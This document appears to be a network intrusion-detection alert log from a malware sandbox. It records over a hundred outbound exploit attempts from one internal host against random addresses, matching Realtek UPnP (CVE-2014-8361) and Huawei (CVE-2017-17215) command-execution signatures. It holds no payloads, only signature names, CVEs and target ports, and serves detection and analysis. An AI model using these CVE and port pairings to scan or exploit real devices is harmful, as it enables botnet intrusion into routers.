2024-10-06T20:01:35.537694+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60182	156.197.245.58	52869	TCP
2024-10-06T20:01:36.172394+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43716	41.71.135.136	37215	TCP
2024-10-06T20:01:37.520167+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35824	41.88.109.224	37215	TCP
2024-10-06T20:01:39.455015+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39472	41.206.35.19	37215	TCP
2024-10-06T20:01:39.519716+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49620	156.0.214.174	52869	TCP
2024-10-06T20:01:39.561601+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	42742	197.255.160.138	52869	TCP
2024-10-06T20:01:39.562203+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34000	197.66.172.40	52869	TCP
2024-10-06T20:01:39.577210+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50616	156.87.8.192	52869	TCP
2024-10-06T20:01:39.578609+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53620	41.187.133.20	52869	TCP
2024-10-06T20:01:39.578751+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38336	41.79.34.52	52869	TCP
2024-10-06T20:01:39.580773+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57032	41.81.80.142	52869	TCP
2024-10-06T20:01:39.593554+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55122	41.200.249.196	52869	TCP
2024-10-06T20:01:40.531995+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37022	41.79.7.76	52869	TCP
2024-10-06T20:01:40.545665+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	35560	41.243.217.149	52869	TCP
2024-10-06T20:01:40.577028+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54632	41.69.163.246	52869	TCP
2024-10-06T20:01:40.577795+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34806	197.74.229.3	52869	TCP
2024-10-06T20:01:41.577456+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36282	41.13.72.132	37215	TCP
2024-10-06T20:01:41.581347+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35512	197.208.176.190	37215	TCP
2024-10-06T20:01:41.581392+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47886	41.101.135.188	37215	TCP
2024-10-06T20:01:41.592750+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36026	156.202.34.231	37215	TCP
2024-10-06T20:01:41.592820+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37698	156.5.165.72	37215	TCP
2024-10-06T20:01:41.612741+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55946	156.247.59.115	37215	TCP
2024-10-06T20:01:42.561238+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60854	156.241.212.71	37215	TCP
2024-10-06T20:01:42.577028+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47338	41.70.226.212	37215	TCP
2024-10-06T20:01:42.577096+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	36004	197.163.72.205	52869	TCP
2024-10-06T20:01:42.577122+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40234	156.112.245.110	37215	TCP
2024-10-06T20:01:42.577193+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42328	197.68.83.203	37215	TCP
2024-10-06T20:01:42.577193+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41922	41.171.253.215	37215	TCP
2024-10-06T20:01:42.577427+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53884	197.24.249.17	52869	TCP
2024-10-06T20:01:42.577553+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43894	197.55.118.222	52869	TCP
2024-10-06T20:01:42.577631+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46020	156.190.169.71	37215	TCP
2024-10-06T20:01:42.577711+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36726	156.105.187.173	37215	TCP
2024-10-06T20:01:42.577813+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49632	156.105.207.172	52869	TCP
2024-10-06T20:01:42.577833+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60652	156.188.236.204	52869	TCP
2024-10-06T20:01:42.577919+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45332	156.119.35.25	37215	TCP
2024-10-06T20:01:42.577943+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49902	156.74.30.53	37215	TCP
2024-10-06T20:01:42.578014+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42430	156.191.134.108	37215	TCP
2024-10-06T20:01:42.578103+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56150	197.214.185.14	37215	TCP
2024-10-06T20:01:42.578133+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50352	156.215.55.119	52869	TCP
2024-10-06T20:01:42.578216+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36864	41.155.63.117	37215	TCP
2024-10-06T20:01:42.578612+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34436	197.3.12.212	52869	TCP
2024-10-06T20:01:42.578676+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45834	197.93.62.90	52869	TCP
2024-10-06T20:01:42.578973+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41318	41.67.97.56	52869	TCP
2024-10-06T20:01:42.579017+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57806	156.17.78.154	37215	TCP
2024-10-06T20:01:42.579488+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44162	41.90.246.5	52869	TCP
2024-10-06T20:01:42.579571+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55074	156.206.91.124	52869	TCP
2024-10-06T20:01:42.579654+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58206	41.153.70.140	52869	TCP
2024-10-06T20:01:42.581422+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40146	41.69.218.21	52869	TCP
2024-10-06T20:01:42.581447+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36328	197.188.166.37	37215	TCP
2024-10-06T20:01:42.592654+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40354	197.12.64.86	37215	TCP
2024-10-06T20:01:42.592853+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53238	41.192.47.124	37215	TCP
2024-10-06T20:01:42.592871+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41302	197.176.126.89	37215	TCP
2024-10-06T20:01:42.592893+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53346	197.194.85.111	37215	TCP
2024-10-06T20:01:42.592940+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58324	197.32.123.94	52869	TCP
2024-10-06T20:01:42.593045+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49972	41.163.32.46	52869	TCP
2024-10-06T20:01:42.593164+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56612	156.98.253.68	52869	TCP
2024-10-06T20:01:42.593263+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48256	41.114.95.195	52869	TCP
2024-10-06T20:01:42.593806+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39764	197.242.147.119	52869	TCP
2024-10-06T20:01:42.593821+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60020	197.248.141.238	37215	TCP
2024-10-06T20:01:42.593888+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	42550	197.212.196.80	52869	TCP
2024-10-06T20:01:42.594007+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56610	156.127.103.15	52869	TCP
2024-10-06T20:01:42.594730+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41276	197.223.173.6	37215	TCP
2024-10-06T20:01:42.594751+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49614	197.124.172.70	37215	TCP
2024-10-06T20:01:42.594766+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57302	41.34.224.82	37215	TCP
2024-10-06T20:01:42.594846+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46000	41.120.146.239	37215	TCP
2024-10-06T20:01:42.596527+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37670	197.132.40.165	37215	TCP
2024-10-06T20:01:42.596622+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60770	156.37.168.204	37215	TCP
2024-10-06T20:01:42.596917+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52626	41.45.103.32	52869	TCP
2024-10-06T20:01:42.597155+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50010	156.18.91.60	52869	TCP
2024-10-06T20:01:42.597626+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55150	41.197.180.249	37215	TCP
2024-10-06T20:01:42.598698+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57088	197.98.23.76	52869	TCP
2024-10-06T20:01:42.610095+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51840	41.206.239.183	52869	TCP
2024-10-06T20:01:42.612011+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46204	41.107.207.186	52869	TCP
2024-10-06T20:01:42.612446+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40896	197.162.123.60	52869	TCP
2024-10-06T20:01:42.613876+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46210	197.119.112.7	52869	TCP
2024-10-06T20:01:42.613986+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35212	156.203.181.218	37215	TCP
2024-10-06T20:01:42.615949+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46898	156.24.87.207	52869	TCP
2024-10-06T20:01:42.627795+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40842	41.52.13.67	37215	TCP
2024-10-06T20:01:42.629581+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51578	197.133.106.46	37215	TCP
2024-10-06T20:01:42.657267+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36410	41.164.85.146	37215	TCP
2024-10-06T20:01:43.612102+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36582	41.179.180.62	37215	TCP
2024-10-06T20:01:43.612289+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54164	197.158.250.4	52869	TCP
2024-10-06T20:01:43.625766+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48802	197.229.130.186	52869	TCP
2024-10-06T20:01:43.641382+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48564	197.104.98.193	52869	TCP
2024-10-06T20:01:43.704031+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56400	156.225.239.191	37215	TCP
2024-10-06T20:01:43.717769+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55040	156.152.213.31	37215	TCP
2024-10-06T20:01:43.733323+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36466	41.2.17.69	37215	TCP
2024-10-06T20:01:43.737268+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33748	156.180.229.222	37215	TCP
2024-10-06T20:01:44.583759+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33696	41.215.234.209	52869	TCP
2024-10-06T20:01:44.606211+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59748	197.4.109.29	52869	TCP
2024-10-06T20:01:44.608055+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46622	156.90.11.179	37215	TCP
2024-10-06T20:01:44.608557+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40644	156.69.120.17	37215	TCP
2024-10-06T20:01:44.608582+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42408	41.14.182.184	37215	TCP
2024-10-06T20:01:44.608612+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55846	156.186.208.29	37215	TCP
2024-10-06T20:01:44.610086+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40496	156.187.119.10	37215	TCP
2024-10-06T20:01:44.610353+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35212	156.56.96.67	37215	TCP
2024-10-06T20:01:44.610423+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43148	156.195.209.8	37215	TCP
2024-10-06T20:01:44.623746+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45608	41.92.199.78	37215	TCP
2024-10-06T20:01:44.623747+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45068	197.222.140.29	37215	TCP
2024-10-06T20:01:44.624130+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	59778	41.132.204.145	37215	TCP
2024-10-06T20:01:44.624309+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44074	197.0.162.227	37215	TCP
2024-10-06T20:01:44.624643+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33158	156.24.24.200	37215	TCP
2024-10-06T20:01:44.624647+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44564	156.33.42.26	37215	TCP
2024-10-06T20:01:44.624785+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53512	41.149.242.212	37215	TCP
2024-10-06T20:01:44.624787+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40210	197.235.0.14	37215	TCP
2024-10-06T20:01:44.624963+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45058	156.237.24.244	37215	TCP
2024-10-06T20:01:44.624964+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44508	197.126.187.104	37215	TCP
2024-10-06T20:01:44.625104+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51092	156.147.78.53	37215	TCP
2024-10-06T20:01:44.625109+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37142	197.211.164.112	37215	TCP
2024-10-06T20:01:44.626279+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56718	156.163.30.95	37215	TCP
2024-10-06T20:01:44.626412+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54010	156.17.51.213	37215	TCP
2024-10-06T20:01:44.626439+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39900	41.190.127.213	37215	TCP
2024-10-06T20:01:44.626615+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36580	197.236.73.251	37215	TCP
2024-10-06T20:01:44.627820+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48976	197.211.233.240	37215	TCP
2024-10-06T20:01:44.627951+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52392	41.86.203.65	37215	TCP
2024-10-06T20:01:44.627966+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58674	197.225.3.188	37215	TCP
2024-10-06T20:01:44.628464+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56962	156.11.85.193	37215	TCP
2024-10-06T20:01:44.629770+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56798	156.125.65.158	37215	TCP
2024-10-06T20:01:44.629963+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54736	41.196.50.209	37215	TCP
2024-10-06T20:01:44.630102+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60196	41.72.45.129	37215	TCP
2024-10-06T20:01:44.640215+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60378	197.74.126.171	37215	TCP
2024-10-06T20:01:44.641721+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43530	41.213.97.175	37215	TCP
2024-10-06T20:01:44.641862+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45574	41.94.117.243	37215	TCP
2024-10-06T20:01:44.644494+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48724	41.79.118.222	37215	TCP
2024-10-06T20:01:44.645387+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47112	41.35.173.169	37215	TCP
2024-10-06T20:01:44.645567+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56618	156.99.218.245	37215	TCP
2024-10-06T20:01:44.656052+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45090	156.4.152.189	37215	TCP
2024-10-06T20:01:44.656175+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54000	156.169.161.51	37215	TCP
2024-10-06T20:01:44.657570+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58626	156.105.113.158	37215	TCP
2024-10-06T20:01:44.659670+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36628	197.26.104.121	37215	TCP
2024-10-06T20:01:44.661498+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40964	41.68.116.178	37215	TCP
2024-10-06T20:01:44.661533+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37016	41.180.242.225	37215	TCP
2024-10-06T20:01:45.749224+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50176	41.155.107.22	37215	TCP
2024-10-06T20:01:46.657864+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34540	197.213.204.12	52869	TCP
2024-10-06T20:01:46.657941+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50590	197.174.129.205	52869	TCP
2024-10-06T20:01:46.662088+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33958	156.116.146.42	52869	TCP
2024-10-06T20:01:46.673492+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56204	156.95.196.191	52869	TCP
2024-10-06T20:01:46.720328+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53554	41.40.168.40	37215	TCP
2024-10-06T20:01:46.785675+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54778	197.134.89.70	37215	TCP
2024-10-06T20:01:47.655324+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60380	197.226.248.66	52869	TCP
2024-10-06T20:01:47.655335+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50238	156.100.141.141	52869	TCP
2024-10-06T20:01:47.655433+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50104	156.209.93.165	52869	TCP
2024-10-06T20:01:47.655497+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46194	197.94.124.75	52869	TCP
2024-10-06T20:01:47.655556+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60358	41.110.158.243	52869	TCP
2024-10-06T20:01:47.655564+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44776	197.205.200.98	52869	TCP
2024-10-06T20:01:47.655675+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37258	41.142.192.255	52869	TCP
2024-10-06T20:01:47.655681+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44166	156.93.81.136	52869	TCP
2024-10-06T20:01:47.655874+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59024	156.44.244.166	52869	TCP
2024-10-06T20:01:47.655877+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60542	156.70.175.166	52869	TCP
2024-10-06T20:01:47.657245+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34326	41.160.157.71	52869	TCP
2024-10-06T20:01:47.657247+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55226	41.172.231.226	52869	TCP
2024-10-06T20:01:47.657682+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38192	41.74.176.33	52869	TCP
2024-10-06T20:01:47.658988+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60838	197.49.21.28	52869	TCP
2024-10-06T20:01:47.670415+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55966	41.162.27.74	52869	TCP
2024-10-06T20:01:47.670947+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50660	197.215.102.95	52869	TCP
2024-10-06T20:01:47.672563+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58014	41.55.62.53	52869	TCP
